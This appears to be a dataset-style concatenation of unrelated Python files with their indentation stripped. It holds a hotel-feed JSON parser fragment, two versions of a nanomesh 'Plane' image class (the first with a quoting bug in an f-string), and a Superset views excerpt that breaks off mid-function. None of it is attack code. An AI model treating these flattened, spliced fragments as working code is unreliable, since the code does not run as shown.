raw_data = chunk.decode("utf-8")
# all JSON files split by the new line char "\n"
# try to read one by one
lines = raw_data.split("\n")
for i, line in enumerate(lines[:-1]):
if i == 0:
line = previous_line + line
hotel_data = json.loads(line)
# do stuff with the hotel
print(f"current hotel is {hotel_data['name']}")
previous_line = lines[-1]
if __name__ == "__main__":
parse_dump("partner_feed_en.json.zst")
|
from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Union
import matplotlib.pyplot as plt
import numpy as np
from .._doc import doc
from ._image import Image
from ._utils import show_image
logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from .mesh import TriangleMesh
@doc(Image, prefix='Data class for working with 2D image data', shape='(i,j) ')
class Plane(Image, ndim=2):
def show(self,
*,
ax: plt.Axes = None,
title: str = None,
**kwargs) -> 'plt.Axes':
"""Plot the image using :mod:`matplotlib`.
Parameters
----------
ax : matplotlib.axes.Axes, optional
Axes to use for plotting.
title : str, optional
Title for the plot.
**kwargs
These parameters are passed to
:func:`matplotlib.pyplot.imshow`.
Returns
-------
ax : matplotlib.axes.Axes
Instance of :class:`matplotlib.axes.Axes`
"""
return show_image(self.image, ax=ax, title=title, **kwargs)
@doc(show)
def plot(self, *args, **kwargs):
return self.show(*args, **kwargs)
def generate_mesh(self, **kwargs) -> TriangleMesh:
"""Generate mesh from binary (segmented) image.
Parameters
----------
**kwargs:
Keyword arguments are passed to
:func:`nanomesh.plane2mesh`
Returns
-------
mesh : TriangleMesh
Description of the mesh.
"""
from nanomesh.image2mesh import plane2mesh
return plane2mesh(image=self.image, **kwargs)
def select_roi(self, from_points: np.ndarray = None):
"""Select region of interest in interactive matplotlib figure.
Parameters
----------
from_points : (n, 2) numpy.ndarray, optional
List of points that are used as anchors for the roi
selection.
Returns
-------
roi : `nanomesh.image._roi2d.ROISelector`
Region of interest object. Bounding box is stored in
:attr:`roi.bbox`.
"""
from ._roi2d import ROISelector
ax = self.show(title='Select region of interest')
if from_points is not None:
# reverse columns to match image
from_points = from_points[:, ::-1]
ax.scatter(*from_points.T)
roi = ROISelector(ax, snap_to=from_points)
return roi
def crop(self, left: int, top: int, right: int, bottom: int) -> Plane:
"""Crop image to pixel indices.
Parameters
----------
left, top, right, bottom : int
Index of pixel delimiting cropping box.
Returns
-------
Plane
New instance of :class:`Plane`.
"""
return Plane(self.image[top:bottom, left:right])
def crop_to_roi(self, bbox: np.ndarray) -> Plane:
"""Crop plane to rectangle defined by bounding box.
Parameters
----------
bbox : (4,2) numpy.ndarray
List of points describing region of interest. The bounding box
may be rotated.
Returns
-------
Plane
Cropped region as :class:`Plane` object.
"""
from ._roi2d import extract_rectangle
cropped = extract_rectangle(self.image, bbox=bbox)
return Plane(cropped)
def compare_with_mesh(self, mesh: TriangleMesh) -> 'plt.Axes':
"""Make a plot comparing the image with the given mesh.
Parameters
----------
mesh : TriangleMesh
Mesh to compare the image with.
Returns
-------
plt.Axes
"""
from ..utils import compare_mesh_with_image
return compare_mesh_with_image(image=self.image, mesh=mesh)
def compare_with_digitized(self,
digitized: Union[np.ndarray, 'Plane'],
cmap: str = None,
**kwargs) -> 'plt.Axes':
"""Compare image with digitized (segmented) image. Returns a plot with
the overlay of the digitized image.
Parameters
----------
digitized : numpy.ndarray, Plane
Digitized image of the same dimensions to overlay
cmap : str
Matplotlib color map for :func:`matplotlib.pyplot.imshow`
**kwargs
These parameters are passed to :func:`skimage.color.label2rgb`.
Returns
-------
ax : matplotlib.axes.Axes
"""
from skimage.color import label2rgb
if isinstance(digitized, Plane):
digitized = digitized.image
# bg_label=0 is default for scikit-image from 0.19 onwards
kwargs.setdefault('bg_label', 0)
image_overlay = label2rgb(digitized, image=self.image, **kwargs)
fig, ax = plt.subplots()
ax.imshow(image_overlay, interpolation='none', cmap=cmap)
ax.axis('image')
ax.set_xticks([])
ax.set_yticks([])
ax.set_title('Image comparison')
return ax
def compare_with_other(self,
other: Union[np.ndarray, 'Plane'],
cmap: str = None,
**kwargs) -> 'plt.Axes':
"""Compare image with other image.
Parameters
----------
other : numpy.ndarray, Plane
Other image of the same dimensions to overlay
cmap : str
Matplotlib color map for :func:`matplotlib.pyplot.imshow`
**kwargs
These parameters are passed to :func:`skimage.util.compare_images`.
Returns
-------
ax : matplotlib.axes.Axes
"""
from skimage.util import compare_images
if isinstance(other, Plane):
other = other.image
kwargs.setdefault('method', 'checkerboard')
kwargs.setdefault('n_tiles', (4, 4))
comp = compare_images(self.image, other, **kwargs)
fig, ax = plt.subplots()
ax.imshow(comp, interpolation='none', cmap=cmap)
ax.axis('image')
ax.set_xticks([])
ax.set_yticks([])
ax.set_title(f'Image comparison ({kwargs['method']})')
return ax
def clear_border(self, *, object_label: int, fill_val: int,
**kwargs) -> Plane:
"""Remove objects at the border of the image.
Parameters
----------
object_label : int
Label of the objects to remove.
fill_val : int
Cleared objects are set to this value.
**kwargs
These parameters are passed to
:func:`skimage.segmentation.clear_border`.
Returns
-------
Plane
New instance of :class:`Plane`.
"""
from skimage import segmentation
objects = (self.image == object_label).astype(int)
border_cleared = segmentation.clear_border(objects, **kwargs)
mask = (border_cleared != objects)
out = self.image.copy()
out[mask] = fill_val
return self.__class__(out)
def try_all_threshold(self, **kwargs):
"""Produce a plot trying all available thresholds using
:func:`skimage.filters.try_all_threshold`.
Parameters
----------
**kwargs
These parameters are passed to
:func:`skimage.filters.try_all_threshold`.
"""
from skimage import filters
kwargs.setdefault('verbose', False)
self.apply(filters.try_all_threshold, **kwargs)
| from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Union
import matplotlib.pyplot as plt
import numpy as np
from .._doc import doc
from ._image import Image
from ._utils import show_image
logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from .mesh import TriangleMesh
@doc(Image, prefix='Data class for working with 2D image data', shape='(i,j) ')
class Plane(Image, ndim=2):
def show(self,
*,
ax: plt.Axes = None,
title: str = None,
**kwargs) -> 'plt.Axes':
"""Plot the image using :mod:`matplotlib`.
Parameters
----------
ax : matplotlib.axes.Axes, optional
Axes to use for plotting.
title : str, optional
Title for the plot.
**kwargs
These parameters are passed to
:func:`matplotlib.pyplot.imshow`.
Returns
-------
ax : matplotlib.axes.Axes
Instance of :class:`matplotlib.axes.Axes`
"""
return show_image(self.image, ax=ax, title=title, **kwargs)
@doc(show)
def plot(self, *args, **kwargs):
return self.show(*args, **kwargs)
def generate_mesh(self, **kwargs) -> TriangleMesh:
"""Generate mesh from binary (segmented) image.
Parameters
----------
**kwargs:
Keyword arguments are passed to
:func:`nanomesh.plane2mesh`
Returns
-------
mesh : TriangleMesh
Description of the mesh.
"""
from nanomesh.image2mesh import plane2mesh
return plane2mesh(image=self.image, **kwargs)
def select_roi(self, from_points: np.ndarray = None):
"""Select region of interest in interactive matplotlib figure.
Parameters
----------
from_points : (n, 2) numpy.ndarray, optional
List of points that are used as anchors for the roi
selection.
Returns
-------
roi : `nanomesh.image._roi2d.ROISelector`
Region of interest object. Bounding box is stored in
:attr:`roi.bbox`.
"""
from ._roi2d import ROISelector
ax = self.show(title='Select region of interest')
if from_points is not None:
# reverse columns to match image
from_points = from_points[:, ::-1]
ax.scatter(*from_points.T)
roi = ROISelector(ax, snap_to=from_points)
return roi
def crop(self, left: int, top: int, right: int, bottom: int) -> Plane:
"""Crop image to pixel indices.
Parameters
----------
left, top, right, bottom : int
Index of pixel delimiting cropping box.
Returns
-------
Plane
New instance of :class:`Plane`.
"""
return Plane(self.image[top:bottom, left:right])
def crop_to_roi(self, bbox: np.ndarray) -> Plane:
"""Crop plane to rectangle defined by bounding box.
Parameters
----------
bbox : (4,2) numpy.ndarray
List of points describing region of interest. The bounding box
may be rotated.
Returns
-------
Plane
Cropped region as :class:`Plane` object.
"""
from ._roi2d import extract_rectangle
cropped = extract_rectangle(self.image, bbox=bbox)
return Plane(cropped)
def compare_with_mesh(self, mesh: TriangleMesh) -> 'plt.Axes':
"""Make a plot comparing the image with the given mesh.
Parameters
----------
mesh : TriangleMesh
Mesh to compare the image with.
Returns
-------
plt.Axes
"""
from ..utils import compare_mesh_with_image
return compare_mesh_with_image(image=self.image, mesh=mesh)
def compare_with_digitized(self,
digitized: Union[np.ndarray, 'Plane'],
cmap: str = None,
**kwargs) -> 'plt.Axes':
"""Compare image with digitized (segmented) image. Returns a plot with
the overlay of the digitized image.
Parameters
----------
digitized : numpy.ndarray, Plane
Digitized image of the same dimensions to overlay
cmap : str
Matplotlib color map for :func:`matplotlib.pyplot.imshow`
**kwargs
These parameters are passed to :func:`skimage.color.label2rgb`.
Returns
-------
ax : matplotlib.axes.Axes
"""
from skimage.color import label2rgb
if isinstance(digitized, Plane):
digitized = digitized.image
# bg_label=0 is default for scikit-image from 0.19 onwards
kwargs.setdefault('bg_label', 0)
image_overlay = label2rgb(digitized, image=self.image, **kwargs)
fig, ax = plt.subplots()
ax.imshow(image_overlay, interpolation='none', cmap=cmap)
ax.axis('image')
ax.set_xticks([])
ax.set_yticks([])
ax.set_title('Image comparison')
return ax
def compare_with_other(self,
other: Union[np.ndarray, 'Plane'],
cmap: str = None,
**kwargs) -> 'plt.Axes':
"""Compare image with other image.
Parameters
----------
other : numpy.ndarray, Plane
Other image of the same dimensions to overlay
cmap : str
Matplotlib color map for :func:`matplotlib.pyplot.imshow`
**kwargs
These parameters are passed to :func:`skimage.util.compare_images`.
Returns
-------
ax : matplotlib.axes.Axes
"""
from skimage.util import compare_images
if isinstance(other, Plane):
other = other.image
kwargs.setdefault('method', 'checkerboard')
kwargs.setdefault('n_tiles', (4, 4))
comp = compare_images(self.image, other, **kwargs)
fig, ax = plt.subplots()
ax.imshow(comp, interpolation='none', cmap=cmap)
ax.axis('image')
ax.set_xticks([])
ax.set_yticks([])
ax.set_title(f'Image comparison ({kwargs["method"]})')
return ax
def clear_border(self, *, object_label: int, fill_val: int,
**kwargs) -> Plane:
"""Remove objects at the border of the image.
Parameters
----------
object_label : int
Label of the objects to remove.
fill_val : int
Cleared objects are set to this value.
**kwargs
These parameters are passed to
:func:`skimage.segmentation.clear_border`.
Returns
-------
Plane
New instance of :class:`Plane`.
"""
from skimage import segmentation
objects = (self.image == object_label).astype(int)
border_cleared = segmentation.clear_border(objects, **kwargs)
mask = (border_cleared != objects)
out = self.image.copy()
out[mask] = fill_val
return self.__class__(out)
def try_all_threshold(self, **kwargs):
"""Produce a plot trying all available thresholds using
:func:`skimage.filters.try_all_threshold`.
Parameters
----------
**kwargs
These parameters are passed to
:func:`skimage.filters.try_all_threshold`.
"""
from skimage import filters
kwargs.setdefault('verbose', False)
self.apply(filters.try_all_threshold, **kwargs)
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# pylint: disable=C,R,W
import logging
import re
from contextlib import closing
from datetime import datetime, timedelta
from typing import Any, cast, Dict, List, Optional, Union
from urllib import parse
import backoff
import msgpack
import pandas as pd
import pyarrow as pa
import simplejson as json
from flask import (
abort,
flash,
g,
Markup,
redirect,
render_template,
request,
Response,
url_for,
)
from flask_appbuilder import expose
from flask_appbuilder.models.sqla.interface import SQLAInterface
from flask_appbuilder.security.decorators import has_access, has_access_api
from flask_appbuilder.security.sqla import models as ab_models
from flask_babel import gettext as __, lazy_gettext as _
from sqlalchemy import and_, Integer, or_, select
from sqlalchemy.exc import SQLAlchemyError
from sqlalchemy.orm.session import Session
from werkzeug.routing import BaseConverter
from werkzeug.urls import Href
import superset.models.core as models
from superset import (
app,
appbuilder,
cache,
conf,
dataframe,
db,
event_logger,
get_feature_flags,
is_feature_enabled,
result_set,
results_backend,
results_backend_use_msgpack,
security_manager,
sql_lab,
talisman,
viz,
)
from superset.connectors.connector_registry import ConnectorRegistry
from superset.connectors.sqla.models import AnnotationDatasource
from superset.constants import RouteMethod
from superset.exceptions import (
DatabaseNotFound,
SupersetException,
SupersetSecurityException,
SupersetTimeoutException,
)
from superset.jinja_context import get_template_processor
from superset.models.dashboard import Dashboard
from superset.models.datasource_access_request import DatasourceAccessRequest
from superset.models.slice import Slice
from superset.models.sql_lab import Query, TabState
from superset.models.user_attributes import UserAttribute
from superset.sql_parse import ParsedQuery
from superset.sql_validators import get_validator_by_name
from superset.utils import core as utils, dashboard_import_export
from superset.utils.dates import now_as_float
from superset.utils.decorators import etag_cache, stats_timing
from superset.views.chart import views as chart_views
from .base import (
api,
BaseFilter,
BaseSupersetView,
check_ownership,
common_bootstrap_payload,
CsvResponse,
data_payload_response,
DeleteMixin,
generate_download_headers,
get_error_msg,
get_user_roles,
handle_api_exception,
json_error_response,
json_success,
SupersetModelView,
)
from .dashboard import views as dash_views
from .database import views as in_views
from .utils import (
apply_display_max_row_limit,
bootstrap_user_data,
get_datasource_info,
get_form_data,
get_viz,
)
config = app.config
CACHE_DEFAULT_TIMEOUT = config["CACHE_DEFAULT_TIMEOUT"]
SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT = config["SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT"]
stats_logger = config["STATS_LOGGER"]
DAR = DatasourceAccessRequest
QueryStatus = utils.QueryStatus
DATABASE_KEYS = [
"allow_csv_upload",
"allow_ctas",
"allow_dml",
"allow_multi_schema_metadata_fetch",
"allow_run_async",
"allows_subquery",
"backend",
"database_name",
"expose_in_sqllab",
"force_ctas_schema",
"id",
]
ALL_DATASOURCE_ACCESS_ERR = __(
"This endpoint requires the `all_datasource_access` permission"
)
DATASOURCE_MISSING_ERR = __("The data source seems to have been deleted")
ACCESS_REQUEST_MISSING_ERR = __("The access requests seem to have been deleted")
USER_MISSING_ERR = __("The user seems to have been deleted")
FORM_DATA_KEY_BLACKLIST: List[str] = []
if not config["ENABLE_JAVASCRIPT_CONTROLS"]:
FORM_DATA_KEY_BLACKLIST = ["js_tooltip", "js_onclick_href", "js_data_mutator"]
def get_database_access_error_msg(database_name):
return __(
"This view requires the database %(name)s or "
"`all_datasource_access` permission",
name=database_name,
)
def is_owner(obj, user):
""" Check if user is owner of the slice """
return obj and user in obj.owners
def check_datasource_perms(
self, datasource_type: str = None, datasource_id: int = None
) -> None:
"""
Check if user can access a cached response from explore_json.
This function takes `self` since it must have the same signature as the
the decorated method.
:param datasource_type: The datasource type, i.e., 'druid' or 'table'
:param datasource_id: The datasource ID
:raises SupersetSecurityException: If the user cannot access the resource
"""
form_data = get_form_data()[0]
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException as e:
raise SupersetSecurityException(str(e))
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=False,
)
security_manager.assert_viz_permission(viz_obj)
def check_slice_perms(self, slice_id):
"""
Check if user can access a cached response from slice_json.
This function takes `self` since it must have the same signature as the
the decorated method.
"""
form_data, slc = get_form_data(slice_id, use_slice_data=True)
viz_obj = get_viz(
datasource_type=slc.datasource.type,
datasource_id=slc.datasource.id,
form_data=form_data,
force=False,
)
security_manager.assert_viz_permission(viz_obj)
def _deserialize_results_payload(
payload: Union[bytes, str], query, use_msgpack: Optional[bool] = False
) -> dict:
logging.debug(f"Deserializing from msgpack: {use_msgpack}")
if use_msgpack:
with stats_timing(
"sqllab.query.results_backend_msgpack_deserialize", stats_logger
):
ds_payload = msgpack.loads(payload, raw=False)
with stats_timing("sqllab.query.results_backend_pa_deserialize", stats_logger):
pa_table = pa.deserialize(ds_payload["data"])
df = result_set.SupersetResultSet.convert_table_to_df(pa_table)
ds_payload["data"] = dataframe.df_to_records(df) or []
db_engine_spec = query.database.db_engine_spec
all_columns, data, expanded_columns = db_engine_spec.expand_data(
ds_payload["selected_columns"], ds_payload["data"]
)
ds_payload.update(
{"data": data, "columns": all_columns, "expanded_columns": expanded_columns}
)
return ds_payload
else:
with stats_timing(
"sqllab.query.results_backend_json_deserialize", stats_logger
):
return json.loads(payload) # type: ignore
class AccessRequestsModelView(SupersetModelView, DeleteMixin):
datamodel = SQLAInterface(DAR)
include_route_methods = RouteMethod.CRUD_SET
list_columns = [
"username",
"user_roles",
"datasource_link",
"roles_with_datasource",
"created_on",
]
order_columns = ["created_on"]
base_order = ("changed_on", "desc")
label_columns = {
"username": _("User"),
"user_roles": _("User Roles"),
"database": _("Database URL"),
"datasource_link": _("Datasource"),
"roles_with_datasource": _("Roles to grant"),
"created_on": _("Created On"),
}
@talisman(force_https=False)
@app.route("/health")
def health():
return "OK"
@talisman(force_https=False)
@app.route("/healthcheck")
def healthcheck():
return "OK"
@talisman(force_https=False)
@app.route("/ping")
def ping():
return "OK"
class KV(BaseSupersetView):
"""Used for storing and retrieving key value pairs"""
@event_logger.log_this
@has_access_api
@expose("/store/", methods=["POST"])
def store(self):
try:
value = request.form.get("data")
obj = models.KeyValue(value=value)
db.session.add(obj)
db.session.commit()
except Exception as e:
return json_error_response(e)
return Response(json.dumps({"id": obj.id}), status=200)
@event_logger.log_this
@has_access_api
@expose("/<key_id>/", methods=["GET"])
def get_value(self, key_id):
try:
kv = db.session.query(models.KeyValue).filter_by(id=key_id).scalar()
if not kv:
return Response(status=404, content_type="text/plain")
except Exception as e:
return json_error_response(e)
return Response(kv.value, status=200, content_type="text/plain")
class R(BaseSupersetView):
"""used for short urls"""
@event_logger.log_this
@expose("/<url_id>")
def index(self, url_id):
url = db.session.query(models.Url).get(url_id)
if url and url.url:
explore_url = "//superset/explore/?"
if url.url.startswith(explore_url):
explore_url += f"r={url_id}"
return redirect(explore_url[1:])
else:
return redirect(url.url[1:])
else:
flash("URL to nowhere...", "danger")
return redirect("/")
@event_logger.log_this
@has_access_api
@expose("/shortner/", methods=["POST"])
def shortner(self):
url = request.form.get("data")
obj = models.Url(url=url)
db.session.add(obj)
db.session.commit()
return Response(
"{scheme}://{request.headers[Host]}/r/{obj.id}".format(
scheme=request.scheme, request=request, obj=obj
),
mimetype="text/plain",
)
class Superset(BaseSupersetView):
"""The base views for Superset!"""
logger = logging.getLogger(__name__)
@has_access_api
@expose("/datasources/")
def datasources(self):
datasources = ConnectorRegistry.get_all_datasources(db.session)
datasources = [o.short_data for o in datasources if o.short_data.get("name")]
datasources = sorted(datasources, key=lambda o: o["name"])
return self.json_response(datasources)
@has_access_api
@expose("/override_role_permissions/", methods=["POST"])
def override_role_permissions(self):
"""Updates the role with the give datasource permissions.
Permissions not in the request will be revoked. This endpoint should
be available to admins only. Expects JSON in the format:
{
'role_name': '{role_name}',
'database': [{
'datasource_type': '{table|druid}',
'name': '{database_name}',
'schema': [{
'name': '{schema_name}',
'datasources': ['{datasource name}, {datasource name}']
}]
}]
}
"""
data = request.get_json(force=True)
role_name = data["role_name"]
databases = data["database"]
db_ds_names = set()
for dbs in databases:
for schema in dbs["schema"]:
for ds_name in schema["datasources"]:
fullname = utils.get_datasource_full_name(
dbs["name"], ds_name, schema=schema["name"]
)
db_ds_names.add(fullname)
existing_datasources = ConnectorRegistry.get_all_datasources(db.session)
datasources = [d for d in existing_datasources if d.full_name in db_ds_names]
role = security_manager.find_role(role_name)
# remove all permissions
role.permissions = []
# grant permissions to the list of datasources
granted_perms = []
for datasource in datasources:
view_menu_perm = security_manager.find_permission_view_menu(
view_menu_name=datasource.perm, permission_name="datasource_access"
)
# prevent creating empty permissions
if view_menu_perm and view_menu_perm.view_menu:
role.permissions.append(view_menu_perm)
granted_perms.append(view_menu_perm.view_menu.name)
db.session.commit()
return self.json_response(
{"granted": granted_perms, "requested": list(db_ds_names)}, status=201
)
@event_logger.log_this
@has_access
@expose("/request_access/")
def request_access(self):
datasources = set()
dashboard_id = request.args.get("dashboard_id")
if dashboard_id:
dash = db.session.query(Dashboard).filter_by(id=int(dashboard_id)).one()
datasources |= dash.datasources
datasource_id = request.args.get("datasource_id")
datasource_type = request.args.get("datasource_type")
if datasource_id:
ds_class = ConnectorRegistry.sources.get(datasource_type)
datasource = (
db.session.query(ds_class).filter_by(id=int(datasource_id)).one()
)
datasources.add(datasource)
has_access = all(
(
datasource and security_manager.datasource_access(datasource)
for datasource in datasources
)
)
if has_access:
return redirect("/superset/dashboard/{}".format(dashboard_id))
if request.args.get("action") == "go":
for datasource in datasources:
access_request = DAR(
datasource_id=datasource.id, datasource_type=datasource.type
)
db.session.add(access_request)
db.session.commit()
flash(__("Access was requested"), "info")
return redirect("/")
return self.render_template(
"superset/request_access.html",
datasources=datasources,
datasource_names=", ".join([o.name for o in datasources]),
)
@event_logger.log_this
@has_access
@expose("/approve")
def approve(self):
def clean_fulfilled_requests(session):
for r in session.query(DAR).all():
datasource = ConnectorRegistry.get_datasource(
r.datasource_type, r.datasource_id, session
)
if not datasource or security_manager.datasource_access(datasource):
# datasource does not exist anymore
session.delete(r)
session.commit()
datasource_type = request.args.get("datasource_type")
datasource_id = request.args.get("datasource_id")
created_by_username = request.args.get("created_by")
role_to_grant = request.args.get("role_to_grant")
role_to_extend = request.args.get("role_to_extend")
session = db.session
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, session
)
if not datasource:
flash(DATASOURCE_MISSING_ERR, "alert")
return json_error_response(DATASOURCE_MISSING_ERR)
requested_by = security_manager.find_user(username=created_by_username)
if not requested_by:
flash(USER_MISSING_ERR, "alert")
return json_error_response(USER_MISSING_ERR)
requests = (
session.query(DAR)
.filter(
DAR.datasource_id == datasource_id,
DAR.datasource_type == datasource_type,
DAR.created_by_fk == requested_by.id,
)
.all()
)
if not requests:
flash(ACCESS_REQUEST_MISSING_ERR, "alert")
return json_error_response(ACCESS_REQUEST_MISSING_ERR)
# check if you can approve
if security_manager.all_datasource_access() or check_ownership(
datasource, raise_if_false=False
):
# can by done by admin only
if role_to_grant:
role = security_manager.find_role(role_to_grant)
requested_by.roles.append(role)
msg = __(
"%(user)s was granted the role %(role)s that gives access "
"to the %(datasource)s",
user=requested_by.username,
role=role_to_grant,
datasource=datasource.full_name,
)
utils.notify_user_about_perm_udate(
g.user,
requested_by,
role,
datasource,
"email/role_granted.txt",
app.config,
)
flash(msg, "info")
if role_to_extend:
perm_view = security_manager.find_permission_view_menu(
"email/datasource_access", datasource.perm
)
role = security_manager.find_role(role_to_extend)
security_manager.add_permission_role(role, perm_view)
msg = __(
"Role %(r)s was extended to provide the access to "
"the datasource %(ds)s",
r=role_to_extend,
ds=datasource.full_name,
)
utils.notify_user_about_perm_udate(
g.user,
requested_by,
role,
datasource,
"email/role_extended.txt",
app.config,
)
flash(msg, "info")
clean_fulfilled_requests(session)
else:
flash(__("You have no permission to approve this request"), "danger")
return redirect("/accessrequestsmodelview/list/")
for r in requests:
session.delete(r)
session.commit()
return redirect("/accessrequestsmodelview/list/")
def get_viz(
self,
slice_id=None,
form_data=None,
datasource_type=None,
datasource_id=None,
force=False,
):
if slice_id:
slc = db.session.query(Slice).filter_by(id=slice_id).one()
return slc.get_viz()
else:
viz_type = form_data.get("viz_type", "table")
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
viz_obj = viz.viz_types[viz_type](
datasource, form_data=form_data, force=force
)
return viz_obj
@has_access
@expose("/slice/<slice_id>/")
def slice(self, slice_id):
form_data, slc = get_form_data(slice_id, use_slice_data=True)
if not slc:
abort(404)
endpoint = "/superset/explore/?form_data={}".format(
parse.quote(json.dumps({"slice_id": slice_id}))
)
param = utils.ReservedUrlParameters.STANDALONE.value
if request.args.get(param) == "true":
endpoint += f"&{param}=true"
return redirect(endpoint)
def get_query_string_response(self, viz_obj):
query = None
try:
query_obj = viz_obj.query_obj()
if query_obj:
query = viz_obj.datasource.get_query_str(query_obj)
except Exception as e:
logging.exception(e)
return json_error_response(e)
if not query:
query = "No query."
return self.json_response(
{"query": query, "language": viz_obj.datasource.query_language}
)
def get_raw_results(self, viz_obj):
return self.json_response(
{"data": viz_obj.get_df_payload()["df"].to_dict("records")}
)
def get_samples(self, viz_obj):
return self.json_response({"data": viz_obj.get_samples()})
def generate_json(
self, viz_obj, csv=False, query=False, results=False, samples=False
):
if csv:
return CsvResponse(
viz_obj.get_csv(),
status=200,
headers=generate_download_headers("csv"),
mimetype="application/csv",
)
if query:
return self.get_query_string_response(viz_obj)
if results:
return self.get_raw_results(viz_obj)
if samples:
return self.get_samples(viz_obj)
payload = viz_obj.get_payload()
return data_payload_response(*viz_obj.payload_json_and_has_error(payload))
@event_logger.log_this
@api
@has_access_api
@expose("/slice_json/<slice_id>")
@etag_cache(CACHE_DEFAULT_TIMEOUT, check_perms=check_slice_perms)
def slice_json(self, slice_id):
form_data, slc = get_form_data(slice_id, use_slice_data=True)
datasource_type = slc.datasource.type
datasource_id = slc.datasource.id
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=False,
)
return self.generate_json(viz_obj)
@event_logger.log_this
@api
@has_access_api
@expose("/annotation_json/<layer_id>")
def annotation_json(self, layer_id):
form_data = get_form_data()[0]
form_data["layer_id"] = layer_id
form_data["filters"] = [{"col": "layer_id", "op": "==", "val": layer_id}]
datasource = AnnotationDatasource()
viz_obj = viz.viz_types["table"](datasource, form_data=form_data, force=False)
payload = viz_obj.get_payload()
return data_payload_response(*viz_obj.payload_json_and_has_error(payload))
EXPLORE_JSON_METHODS = ["POST"]
if not is_feature_enabled("ENABLE_EXPLORE_JSON_CSRF_PROTECTION"):
EXPLORE_JSON_METHODS.append("GET")
@event_logger.log_this
@api
@has_access_api
@handle_api_exception
@expose(
"/explore_json/<datasource_type>/<datasource_id>/", methods=EXPLORE_JSON_METHODS
)
@expose("/explore_json/", methods=EXPLORE_JSON_METHODS)
@etag_cache(CACHE_DEFAULT_TIMEOUT, check_perms=check_datasource_perms)
def explore_json(self, datasource_type=None, datasource_id=None):
"""Serves all request that GET or POST form_data
This endpoint evolved to be the entry point of many different
requests that GETs or POSTs a form_data.
`self.generate_json` receives this input and returns different
payloads based on the request args in the first block
TODO: break into one endpoint for each return shape"""
csv = request.args.get("csv") == "true"
query = request.args.get("query") == "true"
results = request.args.get("results") == "true"
samples = request.args.get("samples") == "true"
force = request.args.get("force") == "true"
form_data = get_form_data()[0]
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException as e:
return json_error_response(utils.error_msg_from_exception(e))
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=force,
)
return self.generate_json(
viz_obj, csv=csv, query=query, results=results, samples=samples
)
@event_logger.log_this
@has_access
@expose("/import_dashboards", methods=["GET", "POST"])
def import_dashboards(self):
"""Overrides the dashboards using json instances from the file."""
f = request.files.get("file")
if request.method == "POST" and f:
try:
dashboard_import_export.import_dashboards(db.session, f.stream)
except DatabaseNotFound as e:
flash(
_(
"Cannot import dashboard: %(db_error)s.\n"
"Make sure to create the database before "
"importing the dashboard.",
db_error=e,
),
"danger",
)
except Exception as e:
logging.exception(e)
flash(
_(
"An unknown error occurred. "
"Please contact your Superset administrator"
),
"danger",
)
return redirect("/dashboard/list/")
return self.render_template("superset/import_dashboards.html")
@event_logger.log_this
@has_access
@expose("/explorev2/<datasource_type>/<datasource_id>/")
def explorev2(self, datasource_type, datasource_id):
"""Deprecated endpoint, here for backward compatibility of urls"""
return redirect(
url_for(
"Superset.explore",
datasource_type=datasource_type,
datasource_id=datasource_id,
**request.args,
)
)
@event_logger.log_this
@has_access
@expose("/explore/<datasource_type>/<datasource_id>/", methods=["GET", "POST"])
@expose("/explore/", methods=["GET", "POST"])
def explore(self, datasource_type=None, datasource_id=None):
user_id = g.user.get_id() if g.user else None
form_data, slc = get_form_data(use_slice_data=True)
# Flash the SIP-15 message if the slice is owned by the current user and has not
# been updated, i.e., is not using the [start, end) interval.
if (
config["SIP_15_ENABLED"]
and slc
and g.user in slc.owners
and (
not form_data.get("time_range_endpoints")
or form_data["time_range_endpoints"]
!= (
utils.TimeRangeEndpoint.INCLUSIVE,
utils.TimeRangeEndpoint.EXCLUSIVE,
)
)
):
url = Href("/superset/explore/")(
{
"form_data": json.dumps(
{
"slice_id": slc.id,
"time_range_endpoints": (
utils.TimeRangeEndpoint.INCLUSIVE.value,
utils.TimeRangeEndpoint.EXCLUSIVE.value,
),
}
)
}
)
flash(Markup(config["SIP_15_TOAST_MESSAGE"].format(url=url)))
error_redirect = "/chart/list/"
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException:
return redirect(error_redirect)
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
if not datasource:
flash(DATASOURCE_MISSING_ERR, "danger")
return redirect(error_redirect)
if config["ENABLE_ACCESS_REQUEST"] and (
not security_manager.datasource_access(datasource)
):
flash(
__(security_manager.get_datasource_access_error_msg(datasource)),
"danger",
)
return redirect(
"superset/request_access/?"
f"datasource_type={datasource_type}&"
f"datasource_id={datasource_id}&"
)
viz_type = form_data.get("viz_type")
if not viz_type and datasource.default_endpoint:
return redirect(datasource.default_endpoint)
# slc perms
slice_add_perm = security_manager.can_access("can_add", "SliceModelView")
slice_overwrite_perm = is_owner(slc, g.user)
slice_download_perm = security_manager.can_access(
"can_download", "SliceModelView"
)
form_data["datasource"] = str(datasource_id) + "__" + datasource_type
# On explore, merge legacy and extra filters into the form data
utils.convert_legacy_filters_into_adhoc(form_data)
utils.merge_extra_filters(form_data)
# merge request url params
if request.method == "GET":
utils.merge_request_params(form_data, request.args)
# handle save or overwrite
action = request.args.get("action")
